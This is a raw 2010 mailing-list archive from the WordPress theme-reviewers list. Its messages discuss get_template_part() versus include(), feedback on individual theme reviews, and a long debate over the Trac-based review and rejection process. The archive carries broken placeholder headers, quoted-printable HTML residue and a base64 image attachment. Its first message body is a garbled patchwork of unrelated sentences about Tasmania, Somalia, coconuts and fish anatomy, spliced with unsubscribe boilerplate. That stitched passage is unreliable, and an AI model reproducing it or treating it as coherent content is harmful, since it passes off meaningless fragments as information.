From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: An HTML attachment was scrubbed... URL: From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: at the University of Tasmania and at

the same

time, from 1991-2002, he was the Chief Executive Officer

of the Antarctic Co-operative Research Centre
at the University of Tasmania. ISU Figure Skating Championships.

Throughout 2007 and 2008, Al-Shabaab scored military victories, seizing control of key towns and ports in both central and southern Somalia. Chairperson of
the Alaska
Oil and Gas Conservation Commission.In some parts of the world, certain single species assume paramount importance because of their variety of uses, for example the coconut (Cocos nucifera) on Pacific atolls,

and the olive (Olea europaea)

in

the Mediterranean region.

A weekly newspaper in Puerto Princesa. In the stomach, food is further digested and, in many fish, processed in finger-shaped pouches called pyloric caeca, which secrete digestive enzymes and absorb nutrients.

User: themes at wordpress.org.
Click here to unsubscribe.

Copyright (c) 2009-2010 of
From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: the function is designed to work for child-themes and is referring to the use the title block element: "Template: ". If this function does work internally to a stand-alone theme then I see it as a nice little bit of code and much cleaner than the "include" version. Cais On Sat, Jul 10, 2010 at 9:41 AM, Bavota San wrote: > I had asked about this and he suggested I ask the whole list so here it > goes... > > If I have a file in a sub-folder, can I use get_template_part() to include > it or will I still have to use include(TEMPLATEPATH.'/folder/file.php') and > will that be allowed? > > Thanks. > > c.bavota > Web Programmer > c at bavotasan.com > http://bavotasan.com > http://themes.bavotasan.com > > > Become an Affiliate and earn 40% commission on sale referrals > http://themes.bavotasan.com/affiliates > > > > On 2010-07-10, at 7:59 AM, Chip Bennett wrote: > > Hmm... it appears that the first argument in the get_template_part() > function > call is a slug. So, I'm assuming that a file path wouldn't work directly. > > As for whether or not it will still be allowed: I'd ask the list as a > whole. I > assume it would still be allowed for such use case. > > > -- > Chip Bennett > chip at chipbennett.net > www.chipbennett.net > > On Friday 09 July 2010 3:57:58 pm you wrote: > > Hey Chip, > > > Out of curiosity, if I have a file in a sub-folder, can I use > > get_template_part() to include it or will I still have to use > > include(TEMPLATEPATH.'/folder/file.php') and will that be allowed? > > > Thanks. > > > c.bavota > > Web Programmer > > c at bavotasan.com > > http://bavotasan.com > > http://themes.bavotasan.com > > > > > Become an Affiliate and earn 40% commission on sale referrals > > http://themes.bavotasan.com/affiliates > > > On 2010-07-08, at 8:05 AM, Chip Bennett wrote: > > Good morning, Theme Reviewers! > > > Another question: when we start requiring 3.0 compatibility, should we > > require include() to be replaced by get_template_part(), for including > > generic theme template files? > > > The benefits would be obvious. Would there be any downside to such a > > requirement? > > > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > --0016e645ada0dfc605048b09883d Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Have you tested to see if your theory works using the get_template_part() f= unction?

From what I am gathering from trunk and the description the= re, it appears the function is designed to work for child-themes and is ref= erring to the use the title block element: "Template: <parent theme= >".

If this function does work internally to a stand-alone theme then I see= it as a nice little bit of code and much cleaner than the "include&qu= ot; version.


Cais

On Sat, Jul = 10, 2010 at 9:41 AM, Bavota San <c at bavotasan.com> wrote:
I had asked about this and he suggested I ask the whol= e list so here it goes...

If I have a file in a sub-folder, can I use=A0get_templ= ate_part() to include it or will I still have to use=A0include(TEMPLATEPATH= .'/folder/file.php') and will that be allowed?
<= span style=3D"font-size: 12px;">

Thanks.

c.bavota
Web Programmer


Become an Affiliate and earn 40% commission on sale referrals
http://themes.bavotasan.com/affiliates



On 2010-07-10, at 7:59 AM, Chip Bennett wrot= e:

Hmm... it appears that the first argumen= t in the get_template_part() function
call is a slug. So, I'm assum= ing that a file path wouldn't work directly.

As for whether or n= ot it will still be allowed: I'd ask the list as a whole. I
assume it would still be allowed for such use case.
On Friday 09 July 2010 3:57:58 pm you wrote:
Hey Chip,

Out of curiosity, if I have a file in a sub-f= older, can I use
get_template_part() to include it or= will I still have to use
include= (TEMPLATEPATH.'/folder/file.php') and will that be allowed?

Thanks= .

c.bavota
Web Programm= er
c at bavotasan.com
http://bavotasan.com=
http://themes.bavotasan.com



Become= an Affiliate and earn 40% commission on sale referrals
http://themes.bavotasan.com/affiliates

<= blockquote type=3D"cite">On 2010-07-08, at 8:05 AM, Chip Bennett wrote:
=
Good morni= ng, Theme Reviewers!

Another question: when we start requiring 3.0 compatibility, shou= ld we
require include() to be replaced by get_template_part(), for including
generic theme template files?

The benefits would be obvious. W= ould there be any downside to such a
requirement?


_______________________________________________
theme-reviewers mailing list
theme-reviewers at list= s.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>


--0016e645ada0dfc605048b09883d-- --0016e645ada0dfc609048b09883e Content-Type: image/png; name="Logo-Bavotasan.png" Content-Transfer-Encoding: base64 Content-ID: <0B3CB3F2-F43D-4388-B344-4D1596B8E89B> X-Attachment-Id: 45b672c335d65f43_0.0.1.1 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 Y8ubWpaIkQAAAABJRU5ErkJggg== --0016e645ada0dfc609048b09883e-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: first look. I believe there are two I would like to look at the themes as well though. Otherwise ... Carry On Reviewing. Cais. On Wed, Aug 4, 2010 at 12:14 PM, Philip M. Hofer (Frumph) wrote: > I've done 6-7 theme reviews, accepted a few, not accepted a few. > > If I can get a review over my reviews to see if i'm doing it as requested > that'd be great. > > > http://themes.trac.wordpress.org/query?status=accepted&status=assigned&status=closed&status=new&status=reopened&order=priority&col=id&col=summary&col=status&col=type&col=reporter&col=keywords&owner=Frumph > > - Phil > > take note though, http://themes.trac.wordpress.org/ticket/380 was my first > one, was getting used to the wikiformating again, the rest get better. > > > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > --000e0cd402c40ea76c048d027c19 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable @Phil -

First, thanks for pitching in ... the help is appreciated!<= br>
I was actually following-up on your reviews earlier today but was ca= lled away from them. I hope to get back to them this afternoon.

From= what I recall (eating my lunch as I type this) they appear fine at first l= ook. I believe there are two I would like to look at the themes as well tho= ugh.

Otherwise ... Carry On Reviewing.


Cais.


--000e0cd402c40ea76c048d027c19-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: experienced by theme authors submitting their works to the repository and subsequently receiving notice of their theme not meeting the criteria currently laid out on the Theme Review page. This is truly unfortunate if that is the case, but in no way is that the intent. I have had almost all of my themes "rejected" at one point or another but I also recognized this was due to the code used, not because I have long hair ... although after shaving my head my themes automagically appeared in the repository (just kidding) ... I re-worked them and with some help was able to get them into the repository. My understanding of the current Trac system and the submission process being used essentially only allows for this method of "not-accepted" or "suggest-approval" resolutions. Perhaps more resolution options would be useful the "needs additional review" option was just added, I'm sure more could be added as easily. All that is needed is the appropriate Trac permissions. Do we need better communication of the issues a theme is presenting in regards to the current Theme Review guidelines and processes? Yes, I agree. Does that mean we need to write novellas for comments on each theme that does not initially pass to explain would could easily be 10 or more issues not considering any minor concerns? Here I disagree, but there is always room for improvement and now two plus months into this its nice to see contructive criticisms being made ... and additional offers of help. I just hope you are installing sideboards on your plate because I feel confident we can fill it up without too much trouble (and I'm not just kidding). If you would like to see "no rejections" then I suggest finding a way to address themes, and their updates via the current infrastructure. Each theme resides in its own SVN similar to the plugins repository, implement a similar method. This will allow authors to update their themes without submitting multiple times until they want a new specific version number implemented. The theme review team can help sort out any issues and once the theme reaches a point acceptable for inclusion into the repository it can be marked "Approved" and we carry on. Of course, the current Trac ticket system help maintain an order and queue for review and consideration, I would expect this to be part of the "new" methods! I also have to comment on the continued re-submission of themes with issues previously noted and still not corrected. We can lead the theme authors to the Theme Review page, but we cannot make them read it. As a team we would be more than happy to help them better address issues with their themes, but I also believe it is only fair of the team to expect the authors to are least read the Theme Review page and if they do not understand a section, point, function usage et cetera then they are free to contact the mailing list. I also agree with the idea making sure they are aware of the IRC channel #wp-themes for assistance as well. I see this as an ever evolving process and always welcome input, especially from those that can look at the system from a fresh set of eyes; and, Otto, with access to tools, and skillsets, we can put to use. Now as I close this reply, I did read the explanation of the "experience" by Otto working under Matt's name and suspected that was the theme in question. I have a better understanding of what was written (above). As much as we are being asked to communicate to the authors we are at the same disadvantage of the authors not communicating back to the team in most cases as well. Your input from these emails is likely the most we have seen from anyone (pseudo-)author, it would be a great boon to see similar input from other authors. Also adding some way for that communication to be part of the theme "ticket", for lack of a better term at the moment, and something going back to the reviewer or team as a whole as well so it can be followed up on. Most of the process at the moment has a very manual feel about it, especially the communication part ... not that the personal touch should not be applied but a great deal of information could be transmitted via automated methods. For example, updating and increasing the items checked at upload; then making sure more verbose and explanatory reasons and examples are provided to help theme authors to understand why the theme did not pass the upload checks would go a long way to helping the process. Cais. PS: A lot longer than I thought it would be, but there was a lot to read, digest, and reply to ... if I missed something feel free to let me know. EAC On Wed, Aug 25, 2010 at 12:52 PM, Chip Bennett wrote: > On Wed, Aug 25, 2010 at 11:30 AM, Otto wrote: > >> On Wed, Aug 25, 2010 at 11:15 AM, Chip Bennett >> wrote: >> > Semantics. We're not "rejecting" a Theme (or its developer); we're >> > suggesting that a Theme *as submitted* not be approved for inclusion in >> the >> > repository. >> >> In other words, "go away, we don't want you to be a part of our >> community". >> > > If you're saying that's what the Theme developer is *inferring*, then fair > enough: let's fix it so that they get the proper inference. Because that's > certainly not what a "not-accepted" Theme review is *implying*. > >> >> Not allowing somebody into wordpress.org is rejection in every sense >> of the term. It's a rejection of their theme, a rejection of their >> code, and a rejection of that person. >> >> > We have a very limited implementation of Trac to work with. >> >> Just tell me what you need the tools to do in order to make this work, >> and we'll try to work together towards making the tools do what they >> need to do. I'm a programmer, I can do that sort of thing. >> > > Probably summarized elsewhere and throughout, but I'm sure we can come up > with a full list, if need be: > > 1) a way to keep a Theme associated with a given ticket, all the way > through final approval > 2) a way for Theme developers to update and resubmit directly to their SVN > directory, rather than continually through the uploader, for any given > revision/Trac ticket. > 3) more appropriate resolution options, to allow the back-and-forth to take > place within one single ticket. > >> >> > You'll have to ask Cais for exact details, but what you're asking for, I >> > believe, would require a LOT of manual intervention in order to make it >> > work. >> >> Then let's do that intervention. This process simply does not work as >> it stands, and if we need to change it, then that's fine. But before >> we change it, let's decide on the right way, then change it to do it >> that way. >> > > That manual intervention would probably be asking way too much (Cais?). So, > let's focus on improving the process. > >> >> > If you can have some influence in improving our ability to take >> advantage of >> > Trac, then I think every one of us would be supportive of and grateful >> for >> > that improvement. >> > For example: >> > 1) Find a way to link new revisions to the already open Ticket for a >> given >> > Theme >> > 2) Add new options for ticket resolution, such as "needs further >> revision" >> > or whatever >> > Every one of us, I believe, would LOVE such improvements. >> >> Done. I'll put those on the list. >> >> > We have to balance. I like to give very thorough reviews. But, if a >> Theme >> > has been submitted 2,3,4 or more times and *still* fails the review, >> then >> > IMO it is clear that the Theme developer isn't making the effort to >> ensure >> > that the Theme meets the Guidelines. We don't want to incentivize such >> > behavior. >> >> Also understand that it might also be an indication that the theme >> author is not understanding the purpose or reason for some of the >> feedback he's being given. If we are going to be looking at themes for >> some set of predefined things to be there, then we should have a well >> written and highly verbose explanation of why we think it should be >> there that should be given to the author directly, every single time. >> >> More than a sentence. Somebody lacking "body_class" should get three >> or four paragraphs on why it's a good idea to use it. >> > > I disagree. Link to the Codex references, and improve the Codex entries if > need be. > > I suppose we can draft boilerplate text for each function/tag/hook, if need > be, to put in a Trac ticket comment. If that is the best use of my time, for > the better of the Theme developer community, then I'd be happy to work on > that. > >> >> In my experience, most people *can't* educate themselves from mere >> documentation. You do have to hold their hand through it. Once they >> get over that initial learning curve problem, *then* you can let them >> go on their own. But you never get anybody to improve until you guide >> them *really* well through those first steps. >> > > If the Codex isn't written well enough to be a useful educational tool, > then we need to look at improving the Codex. But reinventing that wheel with > each and every Theme review would not be useful. > >> >> > But, again: Trac >> > is a mostly foreign concept to a lot of Theme developers. Not only are >> we >> > having to educate them regarding new review Guidelines, but we're also >> > having to educate on how to make use of the Trac system, and the tickets >> > generated for their Theme submissions. >> >> Okay. Then let's dump trac. >> >> Or let's put a new face on trac to make it easier. >> >> Or *something*. I don't claim to know what would work, and I don't >> claim to know all the answers. I just know that it doesn't work now, >> and I'm willing to help in changing to make it better. Because it >> *has* to get better, somehow. >> > > So let's make it better! Tell us what our options are, to improve the > system with which we are working. Trac is pretty powerful. Help us make > better use of it. > >> >> > As for helping Theme developers understand why certain criteria are >> > required: we've been working very hard on improving the Theme Review >> Codex >> > page, to make it more clear, understandable, and concise. We've added >> Codex >> > cross-references for darn-near everything. It is not too much to expect >> > Theme developers to keep abreast of the information available in the >> Codex, >> > especially regarding standard WordPress features, functions, tags, and >> > hooks. We're doing everything we can to point them in the right >> direction. >> >> I do appreciate and understand this, and don't want anybody to take it >> as criticism of them. I'm being critical of the process here, not the >> people. >> >> > Have you actually "experienced" it? Have you reviewed a Theme? Have you >> > submitted a Theme for review? >> >> Yes. You reviewed one of them. You may not have known it was me, as it >> wasn't under my name. :) >> > > And if you have any feedback or constructive criticism of my review, I'd > love to hear it - on the mail list, or to me personally: I have no > preference. I'm sure my own reviews can be improved, and others may benefit > from that feedback also. So please: give me your honest opinion. > >> >> > Agreed, regarding eventual approval. If we can make that process easier >> for >> > both the Theme developers and the review team, then by all means, let's >> do >> > it. >> > But just because the *process* has issues, doesn't mean that the >> Guidelines >> > aren't sound. >> >> I think that some of the guidelines are a problem in that they are >> being used as cause for rejection when they should not be, however I >> also have an issue with the main idea of "rejection" itself. You may >> not think of it as actual literal rejection, but it very much seems >> that way to the outsider. > > > So let's drop the use of the term "reject" with respect to reviews of > submitted Themes. Help us implement a system in which our only option is > "suggest approval" or 'suggest not-approval" (reject). If we're giving the > impression that we're "rejecting" community contributions, then we need to > fix that impression. > > Chip > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > --0016364578dcbba79c048eab53da Content-Type: 